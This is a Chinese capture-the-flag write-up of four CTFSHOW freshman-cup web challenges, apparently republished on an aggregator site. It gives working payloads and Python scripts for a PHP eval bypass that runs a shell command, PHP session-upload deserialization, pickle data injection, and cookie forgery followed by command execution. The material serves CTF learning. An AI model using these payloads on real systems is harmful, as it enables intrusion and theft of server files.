CTFSHOW 新生杯web

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW 新生杯web相关的知识,希望对你有一定的参考价值。

easy_eval

利用script标签绕过
code=<script language="php">system("cat /f*");</script>
不过只有php5可以用

剪刀石头布

考查session反序列化漏洞。
不同的session处理器会导致反序列化漏洞,具体的可以参考下这篇文章
https://www.jb51.net/article/107101.htm
题目中通过ini_set将session的处理器改为了php,而在phpinfo中可以看到默认的为
php_serialize

另外需要注意的点就是session.upload_progress_cleanup为off,也就是说我们通过session.upload_progess强制上传session文件,不会被清理掉,那么直接上传再来调用该session文件就可以触发反序列化了。

payload

import requests 
url="http://cd46b01d-0aa7-4f0a-aa0e-8b3eced09e93.challenge.ctf.show/"
sess="yu22x"
data='PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:s:3:"log";s:22:"/var/www/html/flag.php";'
files='file':'1'
r = requests.post(url,data=data,files=files,cookies='PHPSESSID':'yu22x')
print(r.text)

baby_pickle

本地搭一下就很容易看出来了。
假设我们首先存入一个name为abc的用户,在对其进行更改时,可以看到本地打印出的数据

只要把这个地方改成0,然后访问/dacaiji?name=xxx即可得到flag
按照正常思路,做法如下

import requests
import base64
url="http://127.0.0.1:8888/"
requests.get(url+'?name=1')
requests.get(url+'change?name='+base64.b64encode(b'1').decode()+'&newname='+base64.b64encode(b"0").decode())
r = requests.get(url+'dacaiji?name=1')
print(r.text)

本地测试是可以成功的,但是要保证是第一次,要不然后面的id就不是1了。
不过在靶机上测试就没成功,所以只能用其他的方法了。
我们直接把name后面的都给改掉
b'ccopy_reg\\n_reconstructor\\n(c__main__\\nRookie\\nc__builtin__\\nobject\\nNtR(dVname\\nVabc\\nsVid\\nI1\\nsb.'
我们把上述内容中的abc替换成abc\\nsVid\\nI0\\nsb.
那么最终的结果为
b'ccopy_reg\\n_reconstructor\\n(c__main__\\nRookie\\nc__builtin__\\nobject\\nNtR(dVname\\nVabc\\nsVid\\nI0\\nsb.'
成功把id污染成了0。
payload

import requests
import base64
url="http://0948181b-efd1-4377-b35d-9e465efc1a64.challenge.ctf.show/"
requests.get(url+'?name=abc')
requests.get(url+'change?name='+base64.b64encode(b'abc').decode()+'&newname='+base64.b64encode(b"abc\\nsVid\\nI0\\nsb.").decode())
r = requests.get(url+'dacaiji?name=abc')
print(r.text)

repairman

来个非预期吧

可以看到其实没有覆盖掉$config['secret']
所以md5('admin'.$config['secret']):是个固定值da53eb34c1bc6ce7bbfcedf200148106
直接改完cookie然后post传cmd就可以了
cmd=cat config.php >a.txt
预期解就是parse_str变量覆盖了
config[secret]=yu22x

cookie: secret=3601e2335c93b2404eab1319d0f4d4a3

cmd=cat config.php >a.txt

以上是关于CTFSHOW 新生杯web的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW 新生杯web

ctfshow 大牛杯web

CTFSHOW七夕杯web

CTFSHOW七夕杯web

CTFSHOW七夕杯web

ctfshow baby杯web